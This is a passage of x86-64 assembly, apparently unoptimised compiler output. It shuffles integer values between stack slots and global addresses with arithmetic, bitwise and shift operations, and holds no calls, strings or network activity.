movzx eax, word [rsp + 0xcf0]
mov word [rsp + 0x1178], ax
movzx eax, word [rsp + 0xe4c]
mov rcx, qword [rsp + 0x70b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9728]
movzx eax, word [rax]
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0x8570]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f40], rax
mov eax, dword [rsp + 0x3c34]
mov dword [rsp + 0x4170], eax
mov rax, qword [rsp + 0x8248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7d88], rax
lea rax, [rsp + 0x17f]
mov qword [0x14017aad0], rax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0x9b70], rax
movsx eax, word [rsp + 0xf10]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7360]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1aa]
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x7910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9708]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf80], ax
mov eax, dword [rsp + 0x4154]
movzx ecx, al
mov eax, dword [rsp + 0x3cbc]
shl eax, cl
mov rcx, qword [rsp + 0x7df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9530]
mov qword [rsp + 0x9b78], rax
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8178]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c1c]
mov dword [rsp + 0x4174], eax
mov rax, qword [rsp + 0x8568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a55f], al
mov rax, qword [rsp + 0x7a80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x82b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ad], al
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x90], al
movzx eax, word [rsp + 0xe78]
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0x7158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfac]
sub eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x87e0]
mov eax, dword [rax]
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0x8700]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8a20]
mov dword [rcx], eax
lea rax, [rsp + 0x9338]
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x8888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x142]
mov byte [0x14017a63c], al
mov rax, qword [rsp + 0x7a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x70f0]
movzx eax, word [rax]
mov word [rsp + 0x1184], ax
mov rax, qword [rsp + 0x83a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
imul eax, ecx
mov word [rsp + 0xe5c], ax
lea rax, [0x14017909f]
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0x8768]
mov rcx, qword [rsp + 0x70a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d28], eax
mov rax, qword [rsp + 0x6cf0]
mov rax, qword [rax]
mov qword [rsp + 0x9b90], rax
mov rax, qword [rsp + 0x7f40]
mov ecx, dword [rsp + 0x3fd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fe4], eax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8c00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a6d0]
mov byte [rcx], al
lea rax, [rsp + 0xd78]
mov qword [rsp + 0x9b98], rax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x9b28]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7ed0]
mov byte [rcx], al
movsx eax, word [rsp + 0xfd0]
mov rcx, qword [0x14017aa80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc78], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8888]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e7c]
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0x8f90]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8118]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7998]
mov ecx, dword [rsp + 0x3c9c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40c4], eax
lea rax, [rsp + 0xd9c]
mov qword [0x14017aad8], rax
movzx eax, byte [0x14017905f]
mov byte [rsp + 0x1b2], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x8fc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd44], ax
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0x9018]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x78d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9588]
mov byte [rcx], al
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0x91f0]
mov ecx, dword [rsp + 0x4060]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c74], eax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x8800]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x85d0]
mov rax, qword [rax]
mov qword [rsp + 0x9bb0], rax
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179043], al
mov rax, qword [0x14017a838]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x101]
and eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0x7cb8]
movzx eax, word [rax]
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0x8d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x115c]
imul eax, ecx
mov rcx, qword [rsp + 0x9388]
mov word [rcx], ax
movzx eax, word [rsp + 0xd70]
mov rcx, qword [rsp + 0x83d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd54], ax
mov rax, qword [rsp + 0x7890]
mov eax, dword [rax]
mov dword [rsp + 0x4180], eax
mov rax, qword [rsp + 0x6c00]
mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0x77c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x91b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401790a2], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x9bc0], rax
movzx eax, word [rsp + 0x1170]
movzx ecx, word [rsp + 0xd88]
shl eax, cl
mov rcx, qword [rsp + 0x7ef0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x169]
mov byte [rsp + 0x1b3], al
mov rax, qword [rsp + 0x6e40]
mov rcx, qword [rsp + 0x9888]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f08]
mov rax, qword [rax]
mov qword [rsp + 0x9bc8], rax
mov rax, qword [rsp + 0x70a8]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x83a0]
mov rcx, qword [rsp + 0x6da8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9058], rax
movzx eax, byte [rsp + 0xb7]
mov byte [rsp + 0x1b4], al
mov rax, qword [0x14017a738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179124], ax
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x94]
sub eax, ecx
mov byte [rsp + 0x7a], al
movzx eax, word [0x140179030]
mov word [rsp + 0x1190], ax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0x7470]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x8878]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x8a78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0x9880]
mov rax, qword [rax]
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0x9490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x83b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov rcx, qword [0x14017a750]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a78]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0x8448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd24]
shl eax, cl
mov word [rsp + 0xd10], ax
mov eax, dword [rsp + 0x3cb0]
mov dword [rsp + 0x4184], eax
mov rax, qword [rsp + 0x7798]
mov rcx, qword [rsp + 0x7718]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8200]
mov rcx, qword [rsp + 0x8030]
mov qword [rsp + 0x9be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9be0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x91f8], rax
lea rax, [rsp + 0x88c0]
mov qword [rsp + 0x9be8], rax
movsx eax, byte [0x140179066]
mov rcx, qword [rsp + 0x9458]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9220]
mov byte [rcx], al
lea rax, [rsp + 0xfac]
mov qword [0x14017aae0], rax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x1b5], al
movsx eax, word [rsp + 0x1160]
movsx ecx, word [0x1401790a0]
and eax, ecx
mov word [rsp + 0xd24], ax
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x9bf0], rax
movzx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x7d60]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78f0], rax
lea rax, [rsp + 0x40c8]
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0x8498]
mov ecx, dword [rsp + 0x3d24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ca0], eax
lea rax, [rsp + 0x9408]
mov qword [rsp + 0x9c00], rax
mov rax, qword [rsp + 0x8838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9018]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790a3], al
mov rax, qword [rsp + 0x8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfb4]
add eax, ecx
mov rcx, qword [rsp + 0x95b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
add eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
movzx eax, word [rsp + 0xc74]
mov word [rsp + 0x1198], ax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x9c]
add eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x79f0]
mov qword [rsp + 0x9c08], rax
mov rax, qword [rsp + 0x81f0]
mov rcx, qword [rsp + 0x9a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3fc4]
mov ecx, dword [rsp + 0x4104]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0x91b0]
mov eax, dword [rax]
mov dword [rsp + 0x4188], eax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179084], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0xe9]
xor eax, ecx
mov byte [rsp + 0x178], al
lea rax, [0x14017905c]
mov qword [rsp + 0x9c10], rax
mov rax, qword [rsp + 0x9a98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x82a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x89c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [0x14017aa90]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7ec8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8630]
mov rax, qword [rax]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x6d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88c0], rax
lea rax, [rsp + 0x3e28]
mov qword [rsp + 0x9c20], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x7e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8738]
mov dword [rcx], eax
lea rax, [rsp + 0x1184]
mov qword [0x14017aae8], rax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov word [rsp + 0x119c], ax
movzx eax, byte [rsp + 0x1a3]
movzx ecx, byte [rsp + 0x102]
and eax, ecx
mov rcx, qword [rsp + 0x9918]
mov byte [rcx], al
mov rax, qword [rsp + 0x8228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cd0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x80b8]
mov byte [rcx], al
lea rax, [rsp + 0xdb]
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x8cb0]
mov rcx, qword [rsp + 0x9528]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d28], rax
lea rax, [rsp + 0x8908]
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0x7c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x80c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf0]
sub eax, ecx
mov word [0x140179090], ax
lea rax, [rsp + 0x199]
mov qword [rsp + 0x9c38], rax
movsx eax, byte [0x14017908e]
movsx ecx, byte [rsp + 0x143]
add eax, ecx
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0x9868]
movzx eax, word [rax]
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0x8228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e70]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e80]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a68]
mov qword [rcx], rax
lea rax, [rsp + 0x83f0]
mov qword [rsp + 0x9c40], rax
mov rax, qword [rsp + 0x7200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x97c8]
mov qword [rsp + 0x9c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d18], eax
mov eax, dword [0x140179004]
mov dword [rsp + 0x418c], eax
lea rax, [rsp + 0x10d]
mov qword [0x14017aaf0], rax
mov rax, qword [rsp + 0x9948]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c78]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7d20]
mov word [rcx], ax
mov rax, qword [0x14017a720]
movzx eax, byte [rax]
mov byte [rsp + 0x1b6], al
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0x64]
or eax, ecx
mov rcx, qword [rsp + 0x6c28]
mov byte [rcx], al
movzx eax, word [rsp + 0xe2c]
mov rcx, qword [rsp + 0x9488]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd9c], ax
lea rax, [rsp + 0x7280]
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x84d0]
mov rcx, qword [rsp + 0x8738]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d4c], eax
mov rax, qword [rsp + 0x8d48]
mov eax, dword [rax]
mov dword [rsp + 0x4190], eax
mov rax, qword [rsp + 0x8790]
mov rcx, qword [rsp + 0x7120]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7318], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x93a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a530]
mov word [rcx], ax
mov rax, qword [rsp + 0x9560]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1134]
and eax, ecx
mov word [rsp + 0x1054], ax
lea rax, [0x1401790d4]
mov qword [rsp + 0x9c58], rax
movsx eax, word [rsp + 0xf0c]
movsx ecx, word [rsp + 0xfec]
sub eax, ecx
mov rcx, qword [rsp + 0x9778]
mov word [rcx], ax
lea rax, [rsp + 0x197]
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9768]
mov ecx, dword [rsp + 0x3e70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x89d0]
mov rcx, qword [rsp + 0x8300]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e20], rax
lea rax, [rsp + 0x411c]
mov qword [rsp + 0x9c68], rax
mov rax, qword [rsp + 0x7950]
mov rcx, qword [rsp + 0x9ae8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e80], rax
mov rax, qword [rsp + 0x76f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a920]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x1b7], al
mov rax, qword [0x14017a550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
xor eax, ecx
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0x116]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x9450]
movzx eax, word [rax]
mov word [rsp + 0x11a4], ax
mov eax, dword [rsp + 0x3d54]
movzx ecx, al
mov eax, dword [0x140179004]
sar eax, cl
mov dword [rsp + 0x3fe4], eax
mov rax, qword [rsp + 0x8960]
mov rax, qword [rax]
mov qword [rsp + 0x9c70], rax
mov rax, qword [rsp + 0x7cd8]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3dfc], eax
lea rax, [rsp + 0x9720]
mov qword [rsp + 0x9c78], rax
movsx eax, byte [rsp + 0x1a8]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov rcx, qword [rsp + 0x9330]
mov byte [rcx], al
mov rax, qword [rsp + 0x7398]
movzx eax, word [rax]
mov word [0x14017aaf8], ax
mov rax, qword [0x14017a530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8540]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xe10], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
lea rax, [0x140179010]
mov qword [rsp + 0x9c88], rax
mov rax, qword [rsp + 0x78a8]
mov rcx, qword [rsp + 0x9a48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c70], rax
mov rax, qword [rsp + 0x7e10]
mov rcx, qword [rsp + 0x7680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9690]
mov dword [rcx], eax
lea rax, [rsp + 0x3ee8]
mov qword [rsp + 0x9c90], rax
movsx eax, byte [rsp + 0x18e]
movsx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [rsp + 0x115], al
lea rax, [rsp + 0x10fc]
mov qword [0x14017ab00], rax
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x9c98], rax
mov rax, qword [0x14017a648]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18f]
and eax, ecx
mov rcx, qword [rsp + 0x77f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1098]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d98]
mov word [rcx], ax
lea rax, [rsp + 0x9bb8]
mov qword [rsp + 0x9ca0], rax
mov eax, dword [rsp + 0x3de8]
mov ecx, dword [rsp + 0x3fe0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca8], eax
mov eax, dword [rsp + 0x417c]
mov dword [rsp + 0x4194], eax
mov rax, qword [rsp + 0x7390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
mov word [rsp + 0x11a8], ax
movsx eax, word [rsp + 0xda4]
mov rcx, qword [rsp + 0x9868]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790b4], ax
movsx eax, word [rsp + 0x1024]
movsx ecx, word [rsp + 0x1010]
xor eax, ecx
mov word [rsp + 0x10fc], ax
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x1ae]
or eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
lea rax, [rsp + 0x1a1]
mov qword [rsp + 0x9ca8], rax
mov eax, dword [rsp + 0x40fc]
mov rcx, qword [rsp + 0x74b0]
mov qword [rsp + 0x9cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x74b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e74]
mov dword [rsp + 0x4198], eax
mov rax, qword [rsp + 0x88b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x88c0]
shl rax, cl
mov qword [rsp + 0x9328], rax
mov rax, qword [rsp + 0x8130]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90d0]
movzx eax, word [rax]
mov word [rsp + 0x11ac], ax
lea rax, [rsp + 0xe4]
mov qword [0x14017ab08], rax
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8080]
mov word [rcx], ax
lea rax, [rsp + 0xc1]
mov qword [rsp + 0x9cb8], rax
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x7f50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf40]
movzx ecx, word [rsp + 0x1044]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov word [rcx], ax
lea rax, [rsp + 0x7e98]
mov qword [rsp + 0x9cc0], rax
mov rax, qword [rsp + 0x9b40]
mov rcx, qword [rsp + 0x7f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x86e0]
mov rax, qword [rax]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3d4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x181]
and eax, ecx
mov byte [0x14017908a], al
movsx eax, byte [0x14017a55c]
movsx ecx, byte [rsp + 0x1b1]
sub eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
movzx eax, word [rsp + 0xe44]
mov word [rsp + 0x11b0], ax
movzx eax, byte [rsp + 0x16e]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [0x14017a6a0]
movzx eax, word [rax]
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0x8768]
mov rcx, qword [rsp + 0x6ee0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7078], rax
mov rax, qword [rsp + 0x9c18]
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x94f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e58], eax
mov rax, qword [rsp + 0x9690]
mov rcx, qword [rsp + 0x73d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3e34], eax
lea rax, [rsp + 0x103c]
mov qword [0x14017ab10], rax
lea rax, [rsp + 0xecc]
mov qword [rsp + 0x9cd8], rax
movsx eax, word [rsp + 0x101c]
mov rcx, qword [rsp + 0x8360]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x88c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7320]
movzx eax, byte [rax]
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0x8a50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a7]
sar eax, cl
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9310]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x8d48]
mov eax, dword [rax]
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0x9768]
mov rcx, qword [rsp + 0x6cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fdc], eax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x9ce0], rax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [0x14017a948]
mov byte [rcx], al
movsx eax, byte [rsp + 0x135]
